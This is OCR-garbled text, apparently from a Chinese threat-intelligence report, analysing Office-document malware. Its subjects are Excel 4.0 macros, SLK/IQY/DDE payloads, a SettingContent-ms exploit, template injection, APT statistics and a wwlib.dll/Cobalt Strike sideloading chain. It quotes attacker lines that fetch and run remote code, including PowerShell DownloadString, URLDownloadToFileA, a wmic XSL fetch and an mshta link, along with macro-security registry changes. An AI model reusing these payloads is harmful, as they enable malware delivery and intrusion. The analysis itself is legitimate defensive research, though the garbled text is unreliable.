X s

83 v 0 5

LBL 0x21 2 fHidden  fBuiltin 1l

00002F70 75 67 47 31 53 41 78 43 79 62 68 57 53 34 52 31 ugGlSAnybhH’SARl ~ |’Name ‘Va\ue |foset ‘gize ‘Type [
00002F30 38 6A 4B 6E 6F 72 61 58 32 62 37 9B 08 18 00 92  8jKnoraX2b7.

20002F30 1Tnene BIFFRecord_Genera[278] ExtemSheet 12235 12 BIFFRe...
- 00002FR0 & LBL[279] Lbl 12247 32 LBL
00002FB0

00002FCO Type 24 12247 2 Datalt...
00002FDO Length 28 12249 2 Datalt...
00002FEC [} Fags 12251 LBLFags
00002FF0

I T R nam
00003010 fFunc 12251 2

00003020

00003030 OB 0 12251 2

00003040 fProc 0 12251 2

00003050

00003080 fCalcExp 0 12251 2

00003070 fBuikin 1 12251 2

00003080 ferp 0 12251 2

00003080

00003020 fReservedl 0 12251 2

00003080 fPublished 0 12251 2

000030C0

00003000 farkBookParam [ 12251 2

000030E0 fReserved2 0 12251 2

000030F0

20003100 55°2 -~ chiey 0 12253 1

00003110 23 1C 1C 28 37 29 2C 30 31 34 34 34 1F 27 39 3D 17).01444 1o- - cch 3 12254 1

00003120 38 32 3C 2E 33 34 32 FF DB 00 43 01 09 09 09 0C  82<.342§0.C..... i 7 12255 3

00003130 0B OC 18 0D 0D 18 32 21 1C 21 32 32 32 32 32 32 ...... 21.1222222

00003140 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32  2222222222222222 - resarved3 o 12257 2

00003150 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 2222222222222322 o ttab 0 12259 2

00003160 32 32 32 32 32 32 32 32 32 32 32 32 FF CO 00 11  222222222222%A. "

00003170 08 03 6C 05 D9 03 01 22 00 02 11 01 03 11 01 FF  ,.1.0.." reserveds 0 12261 1 - |

00003180 €4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00
00003180 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0A 0B

Earsing Hotes

(«{]

Ox1 fBuiltin Auto_Openl

o
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Name (variable): An XLUnicodeStrinaMoCch structure that specifies the name for the definad
name. If fBuiltin is 0, this field MUST satisfy the same restrictions as the name field of the
elini ing structure. If fBuiltin is 1, this field is for a built-in name. Each built-in
name has a zero-based index value associated with it. A built-in name or its index value MUST
be used for this field. The built-in names are defined in the following table:

Values Names
000 Consolidate_Area
001 Auto_Open
0x02 Auto_Close
0x03 Extract
0x04 Database
0x05 Criteria
0x06 Print_srea
ox07 Print_Titles
0x08 Recorder
Ox09 Data_Form
Ox0A Auto_Activate
0x0B Auto_Deactivate
Ow0C Sheet_Title
0x0D _FilterDatabase
8 v 0 7
3] Payload
EXEC cmd powershell
msiexec msi ]
]

=EXEC("powershell.exe -nop -w hidden -c IEX [{new-object Net.WebClient).DownloadsString('https://termbin.com/ivy4'))"}

86 Payload 6 1
Excel4.0 API dll
APIl

o
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https://creccocktizo.ga/wp-keys.php
CA\Users\Public\1Gzhk0.html

=CALL("urlmon","URLDownloadToFileA","JJCCI",0,AE15895,BW25827,0,0)
=GOTO(EY14279)

87 Payload 6 2

Excel )|
Sheetl ]

=FORMULA({Sheet11S70,054)
=FORMULA({Sheet11571,055)
=FORMULA({Sheet11S72,056)
=FORMULA({Sheet11S73,057)

88 Payload 6 3

r
Workbook Connections

e
MName Description Last Refreshed

Connection Remove

Properties...

Refresh -

W || (=2
o
g
i :
| —

Locations where connections are used in this workbook

Sheet MName Location Value Farmula
Shest1 1451345341FFF $5870: 45873

89 Payload 6 4

o
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il - ; : - : : @ =
Connection Properties ug
| | Conmection name: |[Connection
pu—
k| | Description:
tion )
Connection type:  Web Query
Connection file: i
Always use connection file i
Connection string| |https:/fidvomds.pw12341324rfefy
W |
Save password
Command type:
Command text:
" A| | Excel Services: Authentication Settings
— Edit Query... Parameters Export Connection File
—

90 Payload b 5

Excel 1

L
||< 1 » ¥ | Sheetl ~0TQI1ByZPP5 . ¥
Contacting the server for information. Press ESC to cancel,

91 Payload 6 6

o
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[ r— s Team
=, dhcu " i Z- S vipTet Genersi E ¥ [Noma Bad = B fE] = Ay O
3 Copy - L -
Paste - ar- === E -9 8 48 m Formatas Good Neutral Insent Delete Format Sort & Find &
2" romatpainter | B T U E 4 == bo% e | e L | Rarni # Clear- Fitere Select

Cliphoard ignment 5 Number = Styles ceis Editing ~
054 - ~
o e a R s

54 htips /dvomds puitef23M230 J-FORMULA(Sheet 11570 054)

55 =GET WORKSPACE(26) =FORMULA(Sheet 11ST1,055)

56 Wsers\"&0558 AppData'l ocal\TampiCVR"&RANDBETWEEN( 1000,9999)&" tmp cw’ =FORMULA(Sheet 11572 056)

57 Wsers\" 0668 AppDatall ocaliTemp! &CHAR(RANDBE TWEEN(97 122))& CHAR(RANDBE TWEEN(S7,122) &CHAR(RANDBETWE EN(37, 122) &RANDBE TWEEN(100, 399)8" vbs' ~FORMULA{Sheet 11573,067)

58 v u callTempl"&CHARRANDBETWEEN(ST WEEN(S7,122) TWEEN(37,122])RRANDBETWEEN(1000,9895)8" bs” ~FORMULAShest 11S74,058)

59 IORKSPACE(1))), GOTO{O81),) =FORMULA{Sheet 11575, 059)

60 G JORKSPACE(1))). GOTO{(067).) =FORMULA{Sheet 11576,060)

61 LL{"urimen”"URLDownloadToFileA”"WCCAJ".0.054,056,0,0) =FORMULA{Shest 11577, 061)

62 ERT("The workbaok cannat ba opsnad of repaired by Microsoft Excel because it is comupt *.2) =FORMULA/Shest 11578, 062)

63 CALL("Shell32" "ShellExecuteA” "JCCCA" 0, "open” "C Windows\system3Zwundl32 exe”, "&0564" DilRegisterSemer” 0,5] =FORMULA/Sheet 11579, 063)

64 =CLOSE(FALSE) =FORMULA(Sheet 11580 064)

65 maomno =FORMULA{Sheet11581,065)

66 thafihcz ~FORMULA/Shest 11582, 066)

67 =FOPEN(0S7.3) ~FORMULA(Sheet 11583,067)

68 =FWRITELN(O67,"Dim "8065&", "8066&™) =FORMULA{Sheet 11584, 068)

69 y =FORMULA{Sheet11585 053)

0] =FORMULA/Shest 11586, 070)

il 0548, False’) =FORMULA/Sheet 11567, 071)

T2 RITELN(O67,"&0658" setRequestHeader ““User-Agent™, “Mozilla/4 0 (compatible: MSIE 6 0; Windaws NT 5 0)™) =FORMULA(Sheet 11588 OT2)

L] VRITELN{O67,“&0654&" Send") =FORMULA(Sheat 11589 OT3)

i VRITELN{OG7, ) “&O65A" Status = 200 Then") ~FORMULAShest 11590, 074)

75 VRITELN{OE7,"Set "R0BER" = CreateObject(~ADODB Stream ™)'} ~FORMULASheet 11591,075)

76 =FWRITELN(O67, 80663 Open’) =FORMULA(Sheet 11592 OTE)

bl =FWRITELN{OG7, "R0G6&" Type = 1') =FORMULA(Sheet 11593 077)

8 =FWRITELN(O67, ~&0868" Wte 80658" ResponseBody’) ~FORMULA{Shest 11594, 078)

79 =FWRITELN(O7, ~R0868" SaveToFile ~"R0568™, 2°) ~FORMULASheet 11595, 079)

80 =FWRITELN{O67,~&0664" Close") =FORMULA[Sheet 11596, 080)

&1 =FWRITELN(OST, End I} =FORMULA{Sheet 11597 081)

62 =FCLOSE(DET) =FORMULA/Shest 11598, 062)

83 EC("explorer exe "RO578™) =FORMULA/Sheet 11599, 083)

84 IAITINOW()+"00-00:05") =FORMULA{Sheet{15100,084)

85 ERT(The workbaok cannat ba opaned or repaired by Microsoft Excel because it is commupt. *.2) =FORMULA(Sheet 115101,085)

86 PEN(058.3) =FORMULA{Sheet 115102,086)

87 =FWRITELN{OB6,"Set obj = GetObject(™new COBAFDIS0-F2A1-1101.8455 00A0CS 1F3880°T) ~FORMULA{Sheet 115103, 087)

88 =FWRITELN{OB6, "obj Document Agplication ShelEExecute “nundi32 exe™ ™ "&0568" DilRegisterServer™ ™ C Windows \System32™ Null0°) =FORMULA{Sheet 115 104,088)

Sheet! | OTQIByZPPS ® 0 3

Resdy Calculote B @ O - 1 +
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Globals DConn ms-xIs2.4.84
URLU

63 08 16 00 &3 08 0O 00 OO 00 OO 00 OO 00 OO0 0O Cunalauna
76 (0 . IS S

00 06 . wasanaFaaa

00 1 ]1] e

oo 63 seeneane s CODDEC

[i]1] 20 L o

73 34 64 - --BEttps:f/tdv

2 2 ollds.pw/12341324

[i]1] 14 rfefv. .. ........

35 -e===-aREETITTAOT

345341fff. . W....
oo 00 0O OO0 OO OO0 OO 00 OO OD 8C 02 00 50 4B 03 saamamunansaaPE,
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=MID{HM345,12,1) &MID(EA9446,5,1) &MID(EAS446,2,1) &MID{E040782,9,1) &M
[=iF (1ISNUMBER({SEARCH("Windows", GET.WORKSPACE(1})),,GOTO(GO6431)) |

— i
=RUN(ID B Single Step ﬁ

Cel: [doc_63786_20200526223353.xls] 138I0T29518

F la:

:J;nﬁliqimﬁfmmmma‘am: Vindows (32-5i€) NT 6.017),, GOTO(
GO6431))

| stepinto || Evaluate | | Halt | Goto |

Pause [ Continue ] [ Help ]

94 Excel4.0 1

GET.WORKSPACEL3 GET.WORKSPACEL4
]

—FORMULA{MID{HM345,12,1) &MID{EA9446,5,1) &MI
[=IF(GET.WORKSPACE(13)<770,G0TO(GO6431),) |
=GOTO(CW14526)

95 Exceld.0 2

=FORMULA(MID(HM345,12,1) &MID(EA9446,5,1) &1
[=IF(GET.WORKSPACE(14)<390,60T0(G06431),) |
~GOTO(BZ59641)

96 Exceld.0 3

GET.WORKSPACHS GET.WORKSPACH?2

=FORMULA({MID{HM345,12,1) &MID{EA9446,5,
|=!F(GET.WORKSPACE(19),,60TO({606431)) |
=GOTO(BS59567)

97 Exceld.0 4
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=FORMULA(MID{HM345,12,1) &MID{EA9446,
|=IF(GET.WORKSPACE(42),,GOTO(GO6431)) !
=RUN(DT29517)

98 Excel4.0 5
GET.WORKSPACRE1 ]
=FORMULA([MID{HM345,12,1) &MID(EA9446,5,1

|!F(GET. WORKSPACE(31) GOTO(G06431) ) |
—RUN{EW27600)

99 Excel4.0 6
5]

Office 1

=MID(HM345,12, 1) &MID{HM345,18,1) &MID(HM345,16,1) &MID(EAS446,3,1) 8
|Ecaii("sheliza", "shellExscutea”,"ICCCII",0,"0pen", 123679,1517776,0,5) |

=GOTO(FP3449) - \
C:\Windows\system32\reg.exe / EXPORT HKCU\Software\Microsoft\Office\14.0\Excel\Security C:\Users\Public\KTjcN.reg fy

100 1

reg.exe API ]
215 255 ooou

=MID{HM345,12,1) &MID(EA9446,5,1) &MID(EAS446,2,1) &MID(
|=/FISNUMBER(SEARCH("0001",6Q30753}),GOTO(G06431),] |
=GOTO(FK36859)

101 2
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L J

i 1 T 1 ' 1 T 1 ' 1 T 1 ' 1 1~ 1 ' 1 i 1
1 Windows Registry Editor Version 5.00
2
3 [BKEY CURRENT USER\Software\Microsoft\Office\1l4.0\Excel\Security]
4 || "RccessVBOM"=dword: 00000001
5| "VBAWarnings"=dword: 00000001
[
7 [HEEY CURRENT USER\Software\Microsoft\Office\l4.0\Excel\Security\FileValidation]
8 "LastReportTime"=dword:01953a68
ksl
0 [HEEY CURRENT USER\Software\Microsoft\Office\l4.0\Excel\Security\FileValidation\FailedFiles]
1 "doc 6€3786_20200526223853.x1s"=hex:01,00,00,00,01,00,00,00,00,00,00,00,00,00,%
2 00,00,00,00,00,00,02,00,00,00,02,00,0d,00,01,00,&6,00,07,00,§5,00,0L,00,67,\
3 0o0,05,00,03,00,01,00,01, 00,00, 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,%

102 3

Trust Center ?

Trusted Publishers

Macro Settings

Trusted Locations

N 4D (T) Disable all macros without notification 0x00000004

rusted Documents

(® Disable all macros with notification Ox00000002

Trusted App Catalogs (O Disable all macros except digitally signed macros 0x00000003

Add-ins (0) Enable all macros (not recommended; potentially dangerous code can run) 0x00000001

ActiveX Seftings Developer Macro Settings

Macro Settings

[ Trust access to the VBA project object model
Protected View

103 4
Office )|
1
6]
1 DAY NOW
1
e | =FORMULA.FILL{DAY{MOW/())*GET.CELL(24,B14478}-109 ER7264)
DC DD DE DF
104 1
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020) &CHAR( AM49814+DE44347) &CHAR IF4853/DC28005) & CHAR(AI22410°FC6692) &.CHAR( DKA5307+
CL5377)&CHAR(GE39343+CRA8747) RCHAR(IF4853-T61837) &CHAR( CA48428+AX4480) &CHAR(CAAB428+EK31866) &CHAR(FU31393-GC38307) &CHAR(050407*HD38837) &CHAR(ER7Z69) FN1763) &CHAR(FU31393* BIB149) &

CHAR({AK15463-HU28339) &CHAR(AI22410%151916) &CHAR(EW9480*HK54756) &CHAR( IF4853-AY3617) &CHAR|CO17504+GG33431) &CHAR(CO17504+HA30993) ( 3) &CHAR(AM21554*HG59457) &
CHAR(IE25277/BAB280)&CHAR(050407*033627) &CHAR(IE25277°FB51831) &CHARCH EA39120)&CHAR(] -B54753) ECHAR(| HAR(IE25277/DH5031) &CHAR( AMA9814+CU23539) &CHAR(
GE39343*EL53780) &CHAR{AO20808-E719011) &CHAR(| DA4909)&CHAR( FN14716)&CHAR(AO20808+CE14712) &CHAR(AO20808/CM33319) &CHAR(AK15463+HY19704) &CHAR (ER7269) CY14454) &CHAR(
AMA49814/E155250) &CHAR(AMA9814* HD11652) &CHAR(CO17504*GN10867) &CHAR(AO20808+FU46163) &CHAR(AMA9814*DX54813) &CHAR(EWS480/ HY5951) &.CHAR( CAJ2428/HIS353) &.CHAR(IL22960+G1 21189) &CHAR(
BE34171+E058574) &CHAR( 062155) &CHAR(| ( DJ20160), ( DZ33268) &CHAR(IE25277*042485) &QCHAR(AM21554/EC1119) &CHAR(IL22960*FP19686) &CHAR(
AM21554-BB37315) &CHAR(EW9480-X15906) &CHAR(AK15463+EC60981) &CHAR(050407*BU13856) &CHAR(FU31393-BD21175) &CHAR{ DKA5307-HH22425) &CHAR( EE22778)&CHAR(| ES61638) &CHAR(

CO17504*D$19093) &CHAR(050407+CA46636) &.CHAR(ER7Z63 EVA5770) & CHAR(AM21554/CS14868) &CHAR(AOQ20808/FB30954) &CHAR(AMASB14*C$39399) & CHAR(AI22410°BX17924) &.CHAR(ER 72631 CE28345) &CHAR(
A020808*FQ12456) &CHAR(IE25277*1135225) &CHAR(CR33093-FES2512) &CHAR(IL22960*1139147) &CHAR(IL22960-BDS0015) & CHAR(ER 7269 EA37212) &CHAR(IE25277/Y23975) &CHAR (AO20808/HNS6259) &CHAR (ER 7265
G138366)&CHAR(IF4853-FO5291) &CHAR{FU31393-HL11845) &CHAR( EC62123) &CHAR(IL: HAR(IL22960* DE49353),D57942)

105 2

”
B | Single Step ﬁ

Cel: [0ebd4&fcch7a7ac08bdba00fh34dd 235, wlsm]testl AFS5527

Formula:

=FORMULA.FILL("=CALL " Shell32™ "ShelExeauteA ™, "TICCCI ™0, “apen™
R[-6728]CI120],R[-53701]C/235],0,5) " 8D $57942)

| stepinto || Evaluate || o Hat || o Goto |

Pause [ Continue ] [ Help ]

106 3

”
B " Single Step ﬁ

Cell: [Debd48foch7a7ac08bdb300fb34dd235. wlsm] testl AFS5527
Formula: L

=FORMULA.FILL{"=+CTL IShSS57-,, "OhSIEGZzES, £ ™Iz ™0,
oien "7 @Y. 6728 =[120]):[-5HHOFCIA 55y ~05) . SDE57943)

| stepinto || Evaate || Hat ||  Goto |

Pause [ Continue ] [ Help ]

107 4
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AfficeNiHESAME

1, 1QY
iqy web Excel 1 iqy
Excel Windows Excel iqy
]
iqy URL Excel URL
)

WEB
|

http://brembotembo.com/2.dat

p.

1081QY ¢

DDE

Cc1

% =end|” fe C:\Windows\System22\¥indowsPowerShell\vl. O\powershell. exe —nop -NeExit —c¢ IEX ((new—object net.webclient). downloadstring(

W http://hrenbotenbo. com/1. baty ")) La0

1091QY ¢

2.dat

1.bat J Excel ]

C2

DDE

Microsoft Office Excel

o]

FlEmETEn-
0

I5r FII2RF *OMD. EXE® 7

HiE Excel TESNE—THARRE . SETEY FH— S Em R FREENR T RS RFIMIT AR, - DEEER TSR, Fed “ 2" UFEL TEEShEA

1101QY ¢+ ¢ 3
1lbat powershell FlawedAmmyy RAT
2] SLK
slk ]
iqy Excel ]
slk slk
SLK ]
0;L;D;V0;K47;G100 0.001
T3l ERRIRE
;@;;F{#REF!HEcde' /C wmic os get /format:"https://itaxkenva.com/kra/tax returns.xsl" '!AO‘
STEHER g 5pmnE
E
111SLK + ¢ 1
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| =cnd|® /C wmic oz get fformat:“https://itaxkenyva. com/kra/tax_returns. xzs1” * L40
'| A B C D E F G H I J

1 | #REF! .I

112SLK ¢+ € 2

XSL wmicl payloadl
slk Excel macro sheet Excel
4.0 ] DDE ]

i ofE{D;V0;K47;6100 0.001

» F;M%30;R1

7 NN;NRuto open;F;ER1OQICL

T F;SM24;¥1;X1

;K"PLEASE PRESS ENABLE CONTENT TO REVEAL YOUR PRIVATE KEY!™

;Y101;K0;EEXEC ("powershell .exe -nop -w hidden -c IEX ((new-cbject Net.WebClient).DownloadString('https://termbin.com/ivy4'))"
;¥102;K0;EHALT ()

c
i Cc
C
E
'

113SLK ¢+ € 3

3] Open Document
ODT OpenDocument Format xml  zip Microsoft Office,
Apache OpenOffice LibreOffice ] oDT
oDT Office

DDE StaiOffice Basic Microsoft Office
)
4) SettingContent-ms CVE 2018-8414
SettingContentms  Windows 10 Windows
1 SettingContent ms XML
DeepLink ] SettingContent ms
DeepLink ]

k?xml version="1.0" encoding="UIF-8"72>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/5ettingContent™>
<ApplicationInformation
<LppID>windows.immersivecontrolpanel cwinlhZ2txyewy!microzoft.windows.immersivecontrolpanel</ZppID>
<DeepLink>3windir$\system32\mshta
https://myaccount.dropsend.con/share/942d4f1de33ead336b2eTe864Tbdfc24/download?file_ids[]=14273905</Deeplink
>

<Icon>%windirt'\systemn32\control.exs</Icon>

</ApplicationInformation>>

<Settingldentity>
<PageID>»</PagelD>
<HostID>{12B169T7E-D3A0-4DBC-B568-CCF64A3F334D} </HostID>

</Sectingldentity>

<SettingInformation>
<Description>@shell32.d11,-4161</Description>
<Keywords>Bshell3Z2.dll,-4161</Keywords>

</SectingInformation>

</SearchableContent>
</PCSettings>

114 SettingContentms & €
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Office (
) SettingContent ms
]
SettingContent ms CVE 2018-8414
POC ]
4.2.4
a
b b ]

Microsoft®

Word 2010

1E7E & http://maq.com.pk/wehsd (0%)

LaOffice

© 2010 Microsoft Corporation. {FERTELIF,

115 i C1

b a
] settings.xml.rels J
<Relationships xmins="http:/ /schemas.openxmiformats.org/package/ 2006/ relationships">
<Relationship TargetMode="External’ Target="http:/ /maq.com.pk/wehsd" Type="http:// mats.org/ /2006 /relationships /attached " 1d="rid1/>
/Relationships>
116 ¢ 2
2019 APT J
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CVE2017-11882 shellcodel

Child Process
Sample Start -W—\E*

117 i ¢3
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5.1 APT D Y

Advanced Persistent Threat APT ,

1APT
]
Oday
J J )
5.1.1 APT De
VenusEye 2020
APT 250 ] 10 APT APT28
1 TrarsparentTribes TAS0%1 APT39 1 Lazarus APT34 APT33
1 TA505 J APT ]
2018 APT APT
)|
2019~2020 APT TOP10
16000
14000
12000
10000
8000
6000
4000
2000
% 2 @ © ) % S ) > o
<V AN 0 X <> p N <> < R
S A AV A N 4
\
«;\9&
<
m2019~2020 APT TOP10
1182019~2020p 1 APT i TOPD
2019 APT 400 2018
10 Lazarus APT28 1 TA5051 APT34 l
1 MuddyWater ] APT
]
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1 1
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§v

I~

Oday APT Darkhotel
Oday APT ]
CVE 20190703 APT3
CVE 2019-17026 Darkhotel
CVE 2020-0674 Darkhotel
CVE 2019-13720 Darkhotel
CVE 2019 1458 Darkhotel
CVE 20191367 Darkhotel
CVE 20191429 Darkhotel
CVE 20190859 HN Groups
CVE 201911707 HYDSEVEN
CVE 201911708 HYDSEVEN
CVE 20190797 SandCat& FruityArmor
CVEAR2019A1132 Buhtrap
CVE 2019-5786
16 APT Oday =Y
51.2 APT Dp
2019 2020 APT ATT&CK
APT
&
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http://mp.weixin.qq.com/s?__biz=MzAxOTM1MDQ1NA==&mid=2451175219&idx=2&sn=537a97f6028989a33aa52b64b8b45544&chksm=8c2501eabb5288fc50b9c175a65a6c58b644bd250c5a0795e3b65bdbc339bc3c7a426fdf371f&scene=21#wechat_redirect

AX

nt

g

T~

Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Acces:
Service Execution 25. 4% |Registry Fun Keys / Star|23. 2% [New Service 17. 4% Credential Dumping 12. 0%
Spearphishing Link 23. 2% |User Execution 22. 0% |Scheduled Task 18. 8% |Scheduled Task 14. 6% |Scripting 20. 2% |Trput Capture 6. 2%
Drive-by Compromiss 14. 4% |PowerShell 14. 2% Modify Existing Service [15.4% |Startup Ttems 14. 2% |DLL Side-Loading 16. 8% |Credentials from Web Broy5. 8%
Valid Accounts 5.8% |Scheduled Task 13.2% |New Service 13. 2% |Valid Accounts 7. 6% |Modify Registry 13.6% |Credentials in Files 5. 2%
Replication Through Remo3. 8% |Command-Line Interface [11.4% [Hidden Files and Directo]ll. 2% |Web Shell 5. 0% |Code Signing 12. 2% |Account Manipulation
Spearphishing via Servic Exploitation for Client |5.2% |Shortcut Nodification [7.2% |Bypass User Account Contil 4% |File Deletion 10. 6% [Bash History
Supply Chain Compromise Scripting 4. 6% [Valid Accounts 2.0% |Exploitation for Privileil. 2% |Template Injection 10. 6% [Brute Force
Trusted Relationship Rundl1 2. 6% [Web Shell 1.2% |Access Token Manipulatiol Indicator Removal on Hos|7. 6% |Credentials in Registry
Exploit Public-Facing Api Windows I it Instryl 8% |Office Application Start|0.4% |Accessibility Featurss Process Hollowing 6.8% |Exploitation for Credent|
External Remote Services| Regsvra? 0.8% | bash_profile and .bashr AppCert Dlls Software Packing 6.8% |Forced Authentication
Hardware Additions Dynamic Data Brchange |0.4% |Accessibility Features Applnit DlLe Bypass User Account Cont]5. 2% |Hooking
Mshta 0. 4% |Account Manipulation Application Shimming Valid Accounts 5. 0% [Input Prompt
Signed Binary Proxy Bzecl0.2% |AppCert DLLs |DLL Search Order Hijacki Rundl1 4, 6% |Kerberoasting
Signed Script Proxy Bxecl0.2% |AppInit DLLs Dylib Hijacking Mshta 4. 4% [Keychain
Launchetl dpplication Shimming Elevated Execution with Regsvr32 3.8% |[LLMNR/NBT-NS Poisoning a
Local Job Scheduling wuthentication Package Emond Timestomp 3.8% |Network Sniffing
LSASS Driver BITS Jobs Extra Vindow Memory Inje Hidden Files and Directo]3. 6% |Password Filter DLL
Regsves/Regasm Bootkit File System Permission Masquerading 2.8% |Private Keys
AppleScript Browser Extension Hooking Hidden Window 2. 8% [Securityd Nemory
CHSTP Change Default File Asso Image File Execution Opt) Signed Binary Proxy Bxecl2. 4% |Steal Web Session Cookie
Compiled HTHL File Component Firmware Launch Daemon Web Service 2. 0% [Two-Factor Authenticatiol
Component Object Nodel a Component Object Nodel H] Parent PID Spoofing [Virtualization/Sandbox F{1. 8%
Control Panel Items Create Account Path Interception Deabfuscate/Decode Files|1. 2%
Graphical User Interface DLL Search Order Hijacki: Plist Modification Space after Filename 0. 8%
Installltil Dylib Hijacking Port Monitors Signed Script Proxy Bxect0. &%
Source Emond PowerShell Profile Binary Padding 0. &%
Space after Filsnams External Remote Services Process Injection File and Directory Permij0. 4%
Third-party Software File System Permissions Service Registry Permiss NTFS File Attributes 0. 2%
Trap Hooking Setuid and Setgid Indicator Removal from T{0.2%
Trusted Developer Utilit Hypervisor SID-History Injection Access Token Nanipulatio
Windows Remote I Image File Execution Opt. Sudo BITS Jabs
XSL Script Processin Kernel Modules and Exten; Sudo Caching Clear Command History
Execution through APT Launch Agent CHSTP
Execution through Nodule| Launch Daemon Compile After Delivery
Launchctl Compiled HTML File
LC_LOAD_DYLIE Addition Component Firmware
Local Job Schedulin Component Object Model Hi
Login Ttem Connection Proxy
Logon Scripts Control Panel Ttems
LSASS Driver DC Shadow
Netsh Helper DLL Disabling Seeurity Tools
Path Interception DLL Search Order Hijacki
Plist Modification Execution Guardrails
Port Enocking Exploitation for Defense
Port Nonitors Extra Yindow Nemory Inje
PowerShell Profile File System Logical Offs
Re. common Gatekeeper Bypass
Re-opened Applications Group Policy Nodification
IR Access |Hidden Users
Screensaver [HISTCONTROL.
Security Support Provide: Image File Execution Opt:
Server Software Componen Indicator Blocking
Service Registry Permiss Indirect Command Executi
Setuid and Setgid Install Root Certificate
SIP and Trust Provider H] InstallUtil
Startup Itens Launchctl
System Firmare |LC_MATN Hi jacking
Systemd Service [Network Share Connection|
Time Providers [Parent PID Spoofing
Trap Pligt Nodification
Windows N Instr Port Knocking
Winlogon Helper DLL Process Doppelgféinging
Process Injection
Discovery Lateral Novement Collection Command And Control Exfiltration Tmpact
System Information Disco)22. 8% Remote File Copy 18. 4% |Automated Collection 12. 2% Data Compressed 26. 2% Data Encrypted for Impac|2. 0%
System Owner/User Discov(16. 2% |Remote Desktop Protocol |13.6% [Data from Local System |8.4% |Remote File Copy 18. 2% [Data Encrypted 18. 8% |Account Access Removal
System Network Configura|id. 4% Windows Admin Shares 3.6% |[Data Staged 5. 4% |Standard Cryptographic Pi14. 2% [Exfiltration Over Comman(5. €% [Data Destruction
System Network Connectio]l2 0% |Replication Through Remoj2. 8% [Input Capture 4.4% |[Standard Application Layy12. 8% |[Automated Exfiltration Defacement
Security Software Discov(10.2% |Pass the Ticket 1 6% |Audio Capture Data Encoding 6.0% |Data Transfer Size Limit; Disk Content Wipe
Process Discovery 0.2 |Application Deployment S|S.0% |Clipboard Data Custom Command and Contr{d. 4% |Exfiltration Over Altern| Disk Structure Vipe
Query Registry 6. 6% |Pass the Hash 1.2% |Data from Information Rej Veb Service 3. 2% |Exfiltration Over Other Endpoint Denial of Serwi
Network Service Scarming|8.2% |Taint Shared Content 0.2% |[Data from Network Shared| Uncommonly Used Port 1. 6% [Exfiltration Over Physic Firmrare Corruption
Account Discovery 5. 2% |AppleScript Data from Removable Wedi Custom Cryptographic Projl. 4% heduled Transfer Inhibit System Recovery
System Time Discovery |4, 8% omponent Object Nodel a Fmail Collection Communication Through Res Metwork Denial of Servic
Remote System Discovery |4. 0% |Exploitation of Remote Sy Man in the Browser ornection Proxy Resource Hijacking
File and Directory Discoj2. 6% |Internal Spearphishin: Screen Capture Data Obfuscation Runtime Data Manipulatio
Software Discovery 2. 4% |Logon Scripts Video Capture Domain Fronting Service Stop
Virtualization/Sandbox F{l. 8% |Remote Services Domain Generation Algori Stored Data Nanipulation]
Application Vindow Disco Shared Webroot Fallback Channels System Shutdown/Reboot
Browser Bookmark Discove: SSH Hi jacking Multi-hop Proxzy Transmitted Data Manipul
Domain Trust Discovery Third-party Software Multi-Stage Charmels
Network Share Discovery Windows Remote I Multiband Commanication
Network Sniffing Multilayer Encryption
Password Policy Discover: Port Enocking
Peripheral Device Discow Remote dccess Tools
Permission Groups Discow [Standard Non-Application)
System Service Discovery)
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GmsCommon.dll MSVCP100.dll
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Rekeywiz.exe Mpr.dll
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= et S i
(' Noi dung chi tiet don cau cuu. Cong ...  2018/3/20 1647  mEEE 340 KB
% wwlib.dll 2019/11/5 0:04 RFEFT B 33,130 KB
BEE ) wwiibdil B S5
w (%e | ir@EES | EnE
1) wwlib. d11
MR ERAERIRE (4
THR=:  FHERER
fus: C:hUsers'15pb-winT Desktop'loi dung den e
(©) Foil: 32,3 MB (33,825, 120 34)
SHZEE: 323 MB (33,927, 168 =)
GBREALIE:  z0z0EIE3E. 14:20:16
{EMAE:  zo1eEE11HSE. 0:04:07
ihioRdiE: 20083 B3 A, 14:20:18
Btk [p= =4SN = -
B
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34
1
2018 Kerrdown 2019
Cobalt Strike 1 Kerdown Office
Office MHT DOC DOCX
]
)| Word
Word Word
]
2019 8 zip
Word.exe wwlib.dll word ]
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[iw, Danh sach cac ca nhan to chuc tai Ha.. 2019/8/28 17:10 HFAER 340 KB
i=| nhan quy2n.jpeg 2019/8/7 14:46 JPEG El# 10 KB
|| Thumbs.db_encryptable 2019/8/7 14:47 DB_ENCRYPTAB... 0KB

%) wwlib.dll 2019/8/7 11:36

12 Danh sach cac ca nhan to chuc tai Hai ngoai va quoc noﬁl

EE R

80 KB

EEFE

A P Eb L A iER
Microsoft C Falf 20054F 10526

125 - K

wwlib.dll wwlib.dll DllEntryPoint  hook  LdrLoadDIl

fIMDFUIZ|) 03UD SULIDOrY [IESI UWUNE FIn U3 .| UATIDAUTIU],EHA e e it vy

77ABF618|_ OF85 WAB78108 |JNZ ntdll.77ADADGS '7ABF612| 8505 70D7B377 |TEST DUORD PTR DS:[0x77B3D770],EAX
77ABF61E| A1 70D7B377 HOU EAX,DWORD PTR DS:[6x77B3D770] '7ABFE18|, OF8S WAB70100 | JNZ ntdll.77ADADSS

77ABF623| 8505 BSBEAB7Z |TEST DWORD PTR DS:[0x77ABBEOS],EAX '7ABFS1E| A1 70D7B377 HOU EAX,DMORD PTR DS:[8x77B3D770]
77ABF629 |, OF85 55B70108 | JHZ ntdll.77ADAD8Y '7TABF623 8505 OBBEAB77 |TEST DWORD PTR DS:[Ox77ABBEO8],EAX
T7ABF62F|  8BC6 MOU EAX,ESI '7ABFG629|, OF85 55B70100 |JNZ ntdll.77ADADSH

770BF631| SF POP EDI 5 4 i i '7ABF62F|  8BCH HOY EAX,ESI o
77ABF632| SE POP ESI R '7ABF631|  5F POP EDI HOOK () it
77ABF633| 5B pop_En: '7ABF632| SE POP ESI

77ABFE3L LEAUE '7ABF633| _5R POP_ER;

77ABF635|| 2 1000 ‘ZABF634 | E9 691FD4F8 | JMP wulib.708015A2 I

77ABFG38|  B1FB 080015C0 |CMP EBX.DXCO150008 '7ABF639

126 wwlib.dll

cloud.doomdns.org GET
Cobalt Strike Beacol
Beacon 76 1 1 1 1
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2019 11 - 2019
doc | doc Shellcode PE Loader

)| doc dll ~$doc-
